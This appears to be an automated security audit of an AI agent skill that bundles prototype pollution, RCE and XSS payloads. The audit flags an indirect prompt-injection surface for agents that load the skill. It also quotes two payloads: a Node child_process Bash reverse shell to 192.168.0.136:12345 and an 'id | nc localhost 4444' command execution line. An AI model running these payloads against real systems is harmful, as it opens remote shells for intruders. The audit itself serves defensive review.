payloads-proto-pollution
Pass
Audited by Gen Agent Trust Hub on Oct 29, 2026
Risk Level: SAFEINDIRECT_PROMPT_INJECTIONREMOTE_CODE_EXECUTION
Full Analysis
- [INDIRECT_PROMPT_INJECTION]: The skill provides an extensive library of exploit payloads (Prototype Pollution, RCE, XSS) and methodologies. If an agent loads this skill and subsequently processes untrusted data, the lack of boundary markers or specific instructions to ignore embedded commands within this documentation creates a surface for indirect prompt injection.
- Ingestion points: Full PATT Reference section in SKILL.md.
- Boundary markers: Absent.
- Capability inventory: While the skill is primarily informational and lacks active scripts, the documented payloads target high-privilege sinks like child_process.exec in JavaScript environments.
- Sanitization: None provided for the payload examples.
- [REMOTE_CODE_EXECUTION]: The documentation includes functional and high-risk Remote Code Execution (RCE) payloads. Specifically, it lists a Bash reverse shell pattern:
require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1")and a command execution payload:process.mainModule.require('child_process').exec('id | nc localhost 4444'). These are included for educational and authorized testing purposes but constitute high-risk strings within the agent's context.
Audit Metadata